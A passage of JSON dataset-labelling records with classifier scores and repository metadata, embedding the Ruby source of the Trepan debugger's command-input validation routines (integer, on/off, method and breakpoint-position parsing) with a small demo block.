false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9623, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9623, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:17.369191+00:00", "scoring_key_slot": "primary", "dataset_uid": "a3b1388c-25ee-4124-9040-9b3f4b0f2c13", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "22aa9f35941222a4e97b6097f16f95e42dd4fc8907d88286ac5633ea64a2170a", "source_metadata": {"uuid": "a3b1388c-25ee-4124-9040-9b3f4b0f2c13", "repo_name": "Marco-Puig/Thunder-Lightning", "relative_path": "pokemonsdk/keep/01500 Alpha 24 Battle Engine (deprecated)/01600 Scene_Battle/01000 Scene_Battle_Phase_2_Sub.rb", "category": "WEB", "algo_rel_score": 0.8389075398445129, "quality_score": 3.2834551334381104, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 21, "repo_created_at": "2021-09-23T21:06:04.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5f43171a1a6837b986cb273fa5e73b319e35e273", "size_bytes": 3534, "file_timestamp": 1684868888, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 21, "repo_created_at": "2021-09-23T21:06:04.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5f43171a1a6837b986cb273fa5e73b319e35e273", "size_bytes": 3534, "file_timestamp": 1684868888, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5", "url": "https://github.com/Marco-Puig/Thunder-Lightning/blob/6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5/pokemonsdk/keep/01500%20Alpha%2024%20Battle%20Engine%20%28deprecated%29/01600%20Scene_Battle/01000%20Scene_Battle_Phase_2_Sub.rb"}, "gpt4o_tokens": 1024, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9371850962687426, "noise_severity": 0.07578197024287031, "missing_content_severity": 0.04048169821229351, "factual_density": 3.5022101767583065, "pretraining_utility": 0.29380986087254607, "math_density": 0.990142595926087, "code_density": 3.7863997533723035, "reasoning_density": 0.6403096118246853, "education_level": 2.0411517679295055, "creative_writing_quality": -0.3264303519190956}, "score_applicability": {"education_level": 0.996827328334525, "creative_writing_quality": 0.0004892489062653843}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Trepan-Debuggers/rb8-trepanning/blob/542b6ebd49e7f7757f3a56dd4a4aeb459f1d31d7/processor/validate.rb", "id": "ruby-0-49808356cec312beff921acf1cc4f3c8", "text": "# Copyright (C) 2010-2011, 2013 <>\n\n# Trepan command input validation routines. A String type is\n# usually passed in as the argument to validation routines.\n\nrequire 'rbconfig'\nrequire 'rubygems'\nrequire 'require_relative'\nbegin\n require 'linecache'\nrescue LoadError\n require 'linecache19'\nend\n\nrequire_relative '../app/cmd_parse'\n# require_relative '../app/condition'\n# require_relative '../app/file'\n# require_relative '../app/method'\n# require_relative '../app/validate'\n\n## require_relative 'location' # for resolve_file_with_dir\nrequire_relative 'virtual'\nrequire_relative 'msg' # for errmsg, msg\n\nmodule Trepan\n class CmdProcessor < VirtualCmdProcessor\n\n attr_reader :file_exists_proc # Like File.exists? but checks using\n # cached files\n\n ## include Trepanning::Method\n ## include Trepanning::FileName\n ## include Trepan::Validate\n ## include Trepan::ThreadHelper\n ## include Trepan::Condition\n\n def confirm(msg, default)\n @settings[:confirm] ? @intf.confirm(msg, default) : true\n end\n\n # Like cmdfns.get_an_int(), but if there's a stack frame use that\n # in evaluation.\n def get_an_int(arg, opts={})\n ret_value = get_int_noerr(arg)\n if !ret_value\n if opts[:msg_on_error]\n errmsg(opts[:msg_on_error])\n else\n errmsg(\"Expecting an integer, got: #{arg}.\")\n end\n return nil\n end\n if opts[:min_value] and ret_value < opts[:min_value]\n errmsg(\"Expecting integer value to be at least %d; got %d.\" %\n [opts[:min_value], ret_value])\n return nil\n elsif opts[:max_value] and ret_value > opts[:max_value]\n errmsg(\"Expecting integer value to be at most %d; got %d.\" %\n [opts[:max_value], ret_value])\n return nil\n end\n return ret_value\n end\n\n unless defined?(DEFAULT_GET_INT_OPTS)\n DEFAULT_GET_INT_OPTS = {\n :min_value => 0, :default => 1, :cmdname => nil, :max_value => nil}\n end\n\n # If argument parameter 'arg' is not given, then use what is in\n # opts[:default]. If String 'arg' evaluates to an integer between\n # least min_value and at_most, use that. Otherwise report an\n # error. If there's a stack frame use that for bindings in\n # evaluation.\n def get_int(arg, opts={})\n\n return default unless arg\n opts = DEFAULT_GET_INT_OPTS.merge(opts)\n val = arg ? get_int_noerr(arg) : opts[:default]\n unless val\n if opts[:cmdname]\n errmsg((\"Command '%s' expects an integer; \" +\n \"got: %s.\") % [opts[:cmdname], arg])\n else\n errmsg('Expecting a positive integer, got: %s' % arg)\n end\n return nil\n end\n\n if val < opts[:min_value]\n if opts[:cmdname]\n errmsg((\"Command '%s' expects an integer at least\" +\n ' %d; got: %d.') %\n [opts[:cmdname], opts[:min_value], opts[:default]])\n else\n errmsg((\"Expecting a positive integer at least\" +\n ' %d; got: %d') %\n [opts[:min_value], opts[:default]])\n end\n return nil\n elsif opts[:max_value] and val > opts[:max_value]\n if opts[:cmdname]\n errmsg((\"Command '%s' expects an integer at most\" +\n ' %d; got: %d.') %\n [opts[:cmdname], opts[:max_value], val])\n else\n errmsg((\"Expecting an integer at most %d; got: %d\") %\n [opts[:max_value], val])\n end\n return nil\n end\n return val\n end\n\n def get_int_list(args, opts={})\n args.map{|arg| get_an_int(arg, opts)}.compact\n end\n\n # Eval arg and it is an integer return the value. Otherwise\n # return nil\n def get_int_noerr(arg)\n b = @frame ? @frame.binding : nil\n val = Integer(eval(arg, b))\n rescue SyntaxError\n nil\n rescue\n nil\n end\n\n def get_thread_from_string(id_or_num_str)\n if id_or_num_str == '.'\n Thread.current\n elsif id_or_num_str.downcase == 'm'\n Thread.main\n else\n num = get_int_noerr(id_or_num_str)\n if num\n get_thread(num)\n else\n nil\n end\n end\n end\n\n # Parse a breakpoint position. On success return:\n # - the Method the position is in\n # - the file name - a Fixnum\n # - the line number - a Fixnum\n # - the condition (by default 'true') to use for this breakpoint\n # - true condition should be negated. Used in *condition* if/unless\n def breakpoint_position(position_str, allow_condition)\n break_cmd_parse = if allow_condition\n parse_breakpoint(position_str)\n else\n parse_breakpoint_no_condition(position_str)\n end\n return [nil] * 5 unless break_cmd_parse\n tail = [break_cmd_parse.condition, break_cmd_parse.negate]\n cm, file, line, position_type =\n parse_position(break_cmd_parse.position)\n if cm or file or line\n return [cm, file, line, position_type] + tail\n end\n errmsg(\"Unable to get breakpoint position for #{position_str}\")\n return [nil] * 5\n end\n\n # Return true if arg is 'on' or 1 and false arg is 'off' or 0.\n # Any other value is raises TypeError.\n def get_onoff(arg, default=nil, print_error=true)\n unless arg\n if !default\n if print_error\n errmsg(\"Expecting 'on', 1, 'off', or 0. Got nothing.\")\n end\n raise TypeError\n end\n return default\n end\n darg = arg.downcase\n return true if arg == '1' || darg == 'on'\n return false if arg == '0' || darg =='off'\n\n errmsg(\"Expecting 'on', 1, 'off', or 0. Got: %s.\" % arg.to_s) if\n print_error\n raise TypeError\n end\n\n include Trepan::CmdParser\n\n def get_method(meth)\n start_binding =\n begin\n @frame.binding\n rescue\n binding\n end\n if meth.kind_of?(String)\n meth_for_string(meth, start_binding)\n else\n begin\n meth_for_parse_struct(meth, start_binding)\n rescue NameError\n errmsg(\"Can't evaluate #{meth.name} to get a method\")\n return nil\n end\n end\n end\n\n # FIXME: this is a ? method but we return\n # the method value.\n def method?(meth)\n get_method(meth)\n end\n\n # parse_position(self)->(meth, filename, offset, offset_type)\n # See app/cmd_parser.kpeg for the syntax of a position which\n # should include things like:\n # Parse arg as [filename:]lineno | function | module\n # Make sure it works for C:\\foo\\bar.py:12\n def parse_position(info)\n info = parse_location(info) if info.kind_of?(String)\n ## FIXME: push into parse\n if RbConfig::CONFIG['target_os'].start_with?('mingw') and\n info =~ /^[A-Za-z]:/\n drive_letter = info[0..1]\n info = info[2..-1]\n else\n drive_leter = nil\n end\n case info.container_type\n when :fn\n unless info.container\n errmsg \"Bad function parse #{info.container.inspect}\"\n return\n end\n if cm = method?(info.container)\n ## Add bogus - canonic_file: active-path\n return [cm, 'bogus', info.position,\n info.position_type]\n else\n return [nil] * 4\n end\n when :file\n ## filename = canonic_file(info.container)\n filename = info.container\n # cm =\n # if canonic_file(@frame.file) == filename\n # cm = @frame.method\n # if :line == info.position_type\n # find_method_with_line(cm, info.position)\n # end\n # else\n # LineCache.compiled_method(filename)\n # end\n return nil, filename, info.position, info.position_type\n when nil\n if [:line, :offset].member?(info.position_type)\n ## filename = @frame.file\n # cm = @frame.method\n # if :line == info.position_type\n # cm = find_method_with_line(cm, info.position)\n # end\n return [nil, nil, info.position, info.position_type]\n elsif !info.position_type\n errmsg \"Can't parse #{arg} as a position\"\n return [nil] * 4\n else\n errmsg \"Unknown position type #{info.position_type} for location #{arg}\"\n return [nil] * 4\n end\n else\n errmsg \"Unknown container type #{info.container_type} for location #{arg}\"\n return [nil] * 4\n end\n end\n\n def parse_method(meth_str)\n begin\n meth_for_string(meth_str, @frame.binding)\n rescue NameError\n nil\n rescue\n nil\n end\n end\n\n def validate_initialize\n ## top_srcdir = File.expand_path(File.join(File.dirname(__FILE__), '..'))\n ## @dbgr_script_iseqs, @dbgr_iseqs = filter_scripts(top_srcdir)\n @file_exists_proc = Proc.new {|filename|\n if LineCache.cached?(filename) || LineCache.cached_script?(filename) ||\n (File.readable?(filename) && !File.directory?(filename))\n true\n ## else\n ## find_load_path(filename)\n end\n }\n end\n end\n end\n\nif __FILE__ == $0\n # Demo it.\n # FIXME have to pull in main for its initalize routine\n DIRNAME = File.dirname(__FILE__)\n load File.join(DIRNAME, 'main.rb')\n\n require_relative 'mock'\n dbgr, cmd = MockDebugger::setup('exit', false)\n cmdproc = cmd.proc\n onoff = %w(1 0 on off)\n onoff.each { |val| puts \"onoff(#{val}) = #{cmdproc.get_onoff(val)}\" }\n cmdproc.frame.instance_variable_set('@binding', binding)\n %w(1 1E bad 1+1 -5).each do |val|\n puts \"get_int_noerr(#{val}) = #{cmdproc.get_int_noerr(val).inspect}\"\n end\n def foo; 5 end\n def cmdproc.errmsg(msg)\n puts msg\n end\n\n pos = cmdproc.parse_position('../../rubies/rbx-head/bin/irb')\n puts pos.inspect\n\n puts cmdproc.parse_position(__FILE__).inspect\n puts cmdproc.parse_position('8').inspect\n puts cmdproc.parse_position(\"#{__FILE__} #{__LINE__}\").inspect\n # require 'ruby-debug'; Debugger.start; debugger\n p cmdproc.breakpoint_position('../app/display.rb:24', false)\n\n puts \"To be continued....\"\n exit\n\n cmdproc.method?('cmdproc.errmsg')\n puts '=' * 40\n ['Array.map', 'Trepan::CmdProcessor.new',\n 'foo', 'cmdproc.errmsg'].each do |str|\n puts \"#{str} should be true: #{cmdproc.method?(str).inspect}\"\n end\n puts '=' * 40\n\n # FIXME:\n # Array#foo should be false: true\n # Trepan::CmdProcessor.allocate should be false: true\n\n ['food', '.errmsg'].each do |str|\n puts \"#{str} should be false: #{cmdproc.method?(str).inspect}\"\n end\n puts '-' * 20\n\n puts \"Trepan::CmdProcessor.allocate is: #{cmdproc.get_method('Trepan::CmdProcessor.allocate')}\"\n\n # require_relative '../lib/trepanning'; debugger\n # pos = cmdproc.breakpoint_position('../processor/validate.rb', true)\n # p ['breakpoint validate', pos]\n\n p cmdproc.breakpoint_position('foo', true)\n p cmdproc.breakpoint_position(\"#{__LINE__}\", true)\n p cmdproc.breakpoint_position(\"#{__FILE__}:#{__LINE__}\", true)\n p cmdproc.breakpoint_position(\"#{__FILE__} #{__LINE__} if 1 == a\", true)\n puts cmdproc.breakpoint_position(\"cmdproc.errmsg\", false)\n ### p cmdproc.breakpoint_position(%w(2 if a > b))\n p cmdproc.get_int_list(%w(1+0 3-1 3))\n p cmdproc.get_int_list(%w(a 2 3))\nend\n", "text_preview": "# Copyright (C) 2010-2011, 2013 <> # Trepan command input validation routines. A String type is # usually passed in as the argument to validation routines. require 'rbconfig' require 'rubygems' require 'require_relative' begin", "input_sha256": "8f71825188f45e3c05b4b8e21808036023867fb93192ac349cd10ca5af7d94f5", "text_sha256": "49808356cec312beff921acf1cc4f3c8936fcc1940fa7ef5a42bd5e097fbdd0b", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16027, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.5443107147174567, "noise_severity": 0.2693813019854577, "missing_content_severity": 0.08557394424331918, "factual_density": 3.301747322692559, "pretraining_utility": 0.35860851347186995, "math_density": 0.23105161545130634, "code_density": 3.8483371003187274, "reasoning_density": 0.9039742708052904, "education_level": 2.540124353279633, "creative_writing_quality": -0.22998563681418477}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.020650972651712673, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9973438230929667, "secondary": 0.6505339704184601, "tertiary": 0.6720828114463342, "structured_records": 0.009824668522210185, "procedural_steps": 0.005062041648951805, "worked_solution": 0.030134713102224882, "contextual_dialogue": 7.12001970389007e-06, "content_quality": 0.42979416286718297, "noise_severity": 0.7755155816787853, "missing_content_severity": 0.928688379797234, "factual_density": 0.41812276891046585, "pretraining_utility": 0.4928180035352311, "math_density": 0.8074569871239115, "code_density": 0.8736142502656061, "reasoning_density": 0.24668810766225802, "education_level": 0.42102182941121225, "creative_writing_quality": 0.9994561525738963, "primary_topic": 0.9977045584554758, "secondary_topic": 0.9784814458393615}, "probability_margin": {"primary": 0.9958938439339733, "secondary": 0.3814813513211367, "tertiary": 0.4014323665417124, "education_level": 0.11975861954744177, "creative_writing_quality": 0.9993486059184162, "primary_topic": 0.9969060066195692, "secondary_topic": 0.9670761687242766}, "raw_probabilities": {"primary": {"Academic Writing": 2.7456102218706097e-05, "Content Listing": 1.733327363263691e-05, "Creative Writing": 1.2428344469449062e-05, "Customer Support Page": 8.753059598037072e-06, "Q&A Forum": 7.690570346552424e-06, "Discussion Thread": 5.852560823991711e-06, "Comment Section": 1.1124155151926702e-05, "Missing Content": 2.4426496175168246e-05, "Knowledge Article": 9.517131649148107e-05, "Legal Notices": 0.00014784649904308643, "News Article": 3.391908100457713e-06, "Organizational Announcement": 1.0314372251521017e-05, "Nonfiction Writing": 8.784896549155307e-06, "Organizational About Page": 1.0418651814344155e-05, "Personal About Page": 7.250440073734107e-06, "Personal Blog": 5.965491343799174e-06, "Product Page": 5.338209370042274e-06, "Spam / Ads": 6.694238666588026e-06, "Structured Data": 0.0002799463589800987, "Technical Writing": 0.9974544971307597, "Transcript / Interview": 1.1441188279875834e-05, "Tutorial / How-To Guide": 0.0002718935983674902, "User Reviews": 5.327940705515679e-06, "Other / Unknown": 0.0015606531967864937}, "secondary": {"Academic Writing": 0.0008546596369245369, "Content Listing": 0.0006412790556037123, "Creative Writing": 0.0007634345259157173, "Customer Support Page": 0.0004886574848730375, "Q&A Forum": 0.00039264900496071187, "Discussion Thread": 0.00034111789584593774, "Comment Section": 0.0005837506389692788, "Missing Content": 0.0014045680969882143, "Knowledge Article": 0.001606136681875864, "Legal Notices": 0.2836137036632208, "News Article": 0.0006043928286892805, "Organizational Announcement": 0.0006745257976229034, "Nonfiction Writing": 0.0006343197987215099, "Organizational About Page": 0.0006725618400585403, "Personal About Page": 0.000426163421459394, "Personal Blog": 0.00038189786578098235, "Product Page": 0.00036246575476765703, "Spam / Ads": 0.0005441359227876021, "Structured Data": 0.0013746677941148414, "Technical Writing": 0.0353446482755807, "Transcript / Interview": 0.0008764681213665105, "Tutorial / How-To Guide": 0.002025071675800434, "User Reviews": 0.00029366923371419067, "NONE": 0.6650950549843575}, "tertiary": {"Academic Writing": 0.0005633448833513496, "Content Listing": 0.00042328705124201785, "Creative Writing": 0.0006514365574357075, "Customer Support Page": 0.00038134710752426936, "Q&A Forum": 0.00024200831911200968, "Discussion Thread": 0.0002592540716903365, "Comment Section": 0.00048569964605488784, "Missing Content": 0.001145556169219272, "Knowledge Article": 0.001348564329437289, "Legal Notices": 0.2843136610943579, "News Article": 0.0004481401553986917, "Organizational Announcement": 0.00047375574907172004, "Nonfiction Writing": 0.0004664971469398468, "Organizational About Page": 0.000537320132865953, "Personal About Page": 0.00030112426574165524, "Personal Blog": 0.00025246967978193583, "Product Page": 0.00032928096822174143, "Spam / Ads": 0.0003957084719176831, "Structured Data": 0.0007812565673825814, "Technical Writing": 0.017055386625286953, "Transcript / Interview": 0.0005319532936601131, "Tutorial / How-To Guide": 0.0026633874007222446, "User Reviews": 0.00020353267751356476, "NONE": 0.6857460276360703}, "structured_records": {"false": 0.9901753314777898, "true": 0.009824668522210185}, "procedural_steps": {"false": 0.9949379583510481, "true": 0.005062041648951805}, "worked_solution": {"false": 0.9698652868977751, "true": 0.030134713102224882}, "contextual_dialogue": {"false": 0.9999928799802961, "true": 7.12001970389007e-06}, "content_quality": {"-2": 0.012827242491748195, "-1": 0.08080803083157911, "0": 0.369870355782559, "1": 0.42221551125569506, "2": 0.11427885963841858}, "noise_severity": {"0": 0.7573324649575894, "1": 0.22090491838133733, "2": 0.018039554125313335, "3": 0.0024949747895453124, "4": 0.0012280877462144202}, "missing_content_severity": {"0": 0.9324371360491374, "1": 0.05335611512492801, "2": 0.010998210043206204, "3": 0.0026127460989353755, "4": 0.0005957926837931606}, "factual_density": {"0": 0.0054035112031741595, "1": 0.014289881130133715, "2": 0.11671712592770994, "3": 0.40033473724892316, "4": 0.46325474449005893}, "pretraining_utility": {"-2": 0.00816381678534587, "-1": 0.10867730757223462, "0": 0.4511565545317771, "1": 0.3803911876064886, "2": 0.051611133504153854}, "math_density": {"0": 0.8346590913418384, "1": 0.12993820573100787, "2": 0.01810674184133337, "3": 0.004283918305649486, "4": 0.01301204278017081}, "code_density": {"0": 0.00024063675218800344, "1": 0.0004304041716680085, "2": 0.011402254087492469, "3": 0.12660463198253172, "4": 0.8613220730061197}, "reasoning_density": {"0": 0.569014631619415, "1": 0.14140774198217837, "2": 0.16488640464866475, "3": 0.06597116747318507, "4": 0.05872005427655683}, "education_level": {"none": 0.0010308088556242078, "0": 0.0013664525070711479, "1": 0.006703009988914704, "2": 0.5175181911760102, "3": 0.3977595716285684, "4": 0.0756219658438114}, "creative_writing_quality": {"not_applicable": 0.9995467938115803, "-2": 5.697901806299967e-05, "-1": 0.00010783590010269393, "0": 0.00019818789316409136, "1": 6.284373180285469e-05, "2": 2.7359645287008218e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.5980791439716327e-05, "Art & Design": 3.2474100944884593e-05, "Law & Crime": 2.0823867141090023e-05, "Education & Careers": 2.639281119655329e-05, "Entertainment & Media": 1.831610127554053e-05, "Fashion & Beauty": 1.2780384324435913e-05, "Business, Economics & Finance": 2.4862049975313628e-05, "Food & Dining": 1.4321161556745574e-05, "Games & Gaming": 6.472859622967985e-05, "Electronics & Hardware": 6.644343127844488e-05, "Health, Healthcare & Wellness": 1.5991958790994705e-05, "History & Geography": 2.051433198224677e-05, "Home, Pets & Hobbies": 1.6317468237162693e-05, "Industry & Production": 1.912926641899754e-05, "Language, Literature & Philosophy": 8.299561981474093e-05, "Politics & Government": 1.4356428178642403e-05, "Religion & Spirituality": 2.478631631339013e-05, "Science, Mathematics & Engineering": 0.0005332379363466545, "Relationships & Community": 1.1922885588375294e-05, "Software Usage & Applications": 0.0008868380491575659, "Programming & Software Engineering": 0.9977928446687268, "Sports & Fitness": 3.2213581339863114e-05, "Vehicles & Transportation": 1.3659191451424881e-05, "Travel & Tourism": 3.1187298149328324e-05, "Other / Uncovered Subject": 0.00013685008567573088, "Unknown / Insufficient Content": 6.003161846556748e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0001432308553996683, "Art & Design": 0.00013448866375652025, "Law & Crime": 0.0005637340055467335, "Education & Careers": 0.00012128308571361902, "Entertainment & Media": 0.00010957881033121454, "Fashion & Beauty": 6.259584567730908e-05, "Business, Economics & Finance": 0.00014623130193896922, "Food & Dining": 5.772566773648529e-05, "Games & Gaming": 0.00013068010362740653, "Electronics & Hardware": 0.00018817171911530273, "Health, Healthcare & Wellness": 6.235186706565354e-05, "History & Geography": 7.32636597596314e-05, "Home, Pets & Hobbies": 4.5805664732927474e-05, "Industry & Production": 4.681030548989331e-05, "Language, Literature & Philosophy": 0.0002755594002854513, "Politics & Government": 6.860206909647799e-05, "Religion & Spirituality": 8.787598764870552e-05, "Science, Mathematics & Engineering": 0.0012555289921749582, "Relationships & Community": 4.3501643904572906e-05, "Software Usage & Applications": 0.0044538015428017, "Programming & Software Engineering": 0.012232913813570926, "Sports & Fitness": 7.04042462596646e-05, "Vehicles & Transportation": 3.224371235282047e-05, "Travel & Tourism": 0.00010598912209389115, "Other / Uncovered Subject": 0.00017854537607181413, "NONE": 0.9793090825378475}}, "probabilities": {"primary": {"Academic Writing": 2.74561022187061e-05, "Content Listing": 1.7333273632636913e-05, "Creative Writing": 1.2428344469449064e-05, "Customer Support Page": 8.753059598037074e-06, "Q&A Forum": 7.690570346552426e-06, "Discussion Thread": 5.852560823991712e-06, "Comment Section": 1.1124155151926704e-05, "Missing Content": 2.442649617516825e-05, "Knowledge Article": 9.517131649148108e-05, "Legal Notices": 0.00014784649904308646, "News Article": 3.3919081004577136e-06, "Organizational Announcement": 1.0314372251521019e-05, "Nonfiction Writing": 8.784896549155309e-06, "Organizational About Page": 1.0418651814344157e-05, "Personal About Page": 7.2504400737341074e-06, "Personal Blog": 5.965491343799175e-06, "Product Page": 5.3382093700422744e-06, "Spam / Ads": 6.694238666588027e-06, "Structured Data": 0.00027994635898009873, "Technical Writing": 0.9974544971307598, "Transcript / Interview": 1.1441188279875836e-05, "Tutorial / How-To Guide": 0.00027189359836749026, "User Reviews": 5.32794070551568e-06, "Other / Unknown": 0.001560653196786494}, "secondary": {"Academic Writing": 0.000854659636924537, "Content Listing": 0.0006412790556037124, "Creative Writing": 0.0007634345259157175, "Customer Support Page": 0.0004886574848730376, "Q&A Forum": 0.0003926490049607119, "Discussion Thread": 0.0003411178958459378, "Comment Section": 0.0005837506389692789, "Missing Content": 0.0014045680969882145, "Knowledge Article": 0.0016061366818758641, "Legal Notices": 0.28361370366322086, "News Article": 0.0006043928286892806, "Organizational Announcement": 0.0006745257976229035, "Nonfiction Writing": 0.00063431979872151, "Organizational About Page": 0.0006725618400585404, "Personal About Page": 0.00042616342145939404, "Personal Blog": 0.0003818978657809824, "Product Page": 0.0003624657547676571, "Spam / Ads": 0.0005441359227876023, "Structured Data": 0.0013746677941148416, "Technical Writing": 0.03534464827558071, "Transcript / Interview": 0.0008764681213665106, "Tutorial / How-To Guide": 0.0020250716758004345, "User Reviews": 0.0002936692337141907, "NONE": 0.6650950549843576}, "tertiary": {"Academic Writing": 0.0005633448833513496, "Content Listing": 0.00042328705124201785, "Creative Writing": 0.0006514365574357075, "Customer Support Page": 0.00038134710752426936, "Q&A Forum": 0.00024200831911200968, "Discussion Thread": 0.0002592540716903365, "Comment Section": 0.00048569964605488784, "Missing Content": 0.001145556169219272, "Knowledge Article": 0.001348564329437289, "Legal Notices": 0.2843136610943579, "News Article": 0.0004481401553986917, "Organizational Announcement": 0.00047375574907172004, "Nonfiction Writing": 0.0004664971469398468, "Organizational About Page": 0.000537320132865953, "Personal About Page": 0.00030112426574165524, "Personal Blog": 0.00025246967978193583, "Product Page": 0.00032928096822174143, "Spam / Ads": 0.0003957084719176831, "Structured Data": 0.0007812565673825814, "Technical Writing": 0.017055386625286953, "Transcript / Interview": 0.0005319532936601131, "Tutorial / How-To Guide": 0.0026633874007222446, "User Reviews": 0.00020353267751356476, "NONE": 0.6857460276360703}, "structured_records": {"false": 0.9901753314777898, "true": 0.009824668522210185}, "procedural_steps": {"false": 0.9949379583510481, "true": 0.005062041648951805}, "worked_solution": {"false": 0.9698652868977751, "true": 0.030134713102224882}, "contextual_dialogue": {"false": 0.9999928799802961, "true": 7.12001970389007e-06}, "content_quality": {"-2": 0.012827242491748195, "-1": 0.08080803083157911, "0": 0.369870355782559, "1": 0.42221551125569506, "2": 0.11427885963841858}, "noise_severity": {"0": 0.7573324649575897, "1": 0.22090491838133738, "2": 0.01803955412531334, "3": 0.002494974789545313, "4": 0.0012280877462144204}, "missing_content_severity": {"0": 0.9324371360491374, "1": 0.05335611512492801, "2": 0.010998210043206204, "3": 0.0026127460989353755, "4": 0.0005957926837931606}, "factual_density": {"0": 0.00540351120317416, "1": 0.014289881130133717, "2": 0.11671712592770996, "3": 0.4003347372489232, "4": 0.463254744490059}, "pretraining_utility": {"-2": 0.00816381678534587, "-1": 0.10867730757223462, "0": 0.4511565545317771, "1": 0.3803911876064886, "2": 0.051611133504153854}, "math_density": {"0": 0.8346590913418385, "1": 0.1299382057310079, "2": 0.018106741841333374, "3": 0.004283918305649487, "4": 0.013012042780170811}, "code_density": {"0": 0.00024063675218800347, "1": 0.00043040417166800854, "2": 0.01140225408749247, "3": 0.12660463198253175, "4": 0.8613220730061198}, "reasoning_density": {"0": 0.569014631619415, "1": 0.14140774198217837, "2": 0.16488640464866475, "3": 0.06597116747318507, "4": 0.05872005427655683}, "education_level": {"none": 0.0010308088556242078, "0": 0.0013664525070711479, "1": 0.006703009988914704, "2": 0.5175181911760102, "3": 0.3977595716285684, "4": 0.0756219658438114}, "creative_writing_quality": {"not_applicable": 0.9995467938115804, "-2": 5.6979018062999675e-05, "-1": 0.00010783590010269394, "0": 0.00019818789316409138, "1": 6.28437318028547e-05, "2": 2.735964528700822e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.598079143971633e-05, "Art & Design": 3.24741009448846e-05, "Law & Crime": 2.0823867141090026e-05, "Education & Careers": 2.6392811196553293e-05, "Entertainment & Media": 1.8316101275540534e-05, "Fashion & Beauty": 1.2780384324435914e-05, "Business, Economics & Finance": 2.486204997531363e-05, "Food & Dining": 1.4321161556745575e-05, "Games & Gaming": 6.472859622967987e-05, "Electronics & Hardware": 6.64434312784449e-05, "Health, Healthcare & Wellness": 1.5991958790994708e-05, "History & Geography": 2.0514331982246774e-05, "Home, Pets & Hobbies": 1.6317468237162696e-05, "Industry & Production": 1.9129266418997543e-05, "Language, Literature & Philosophy": 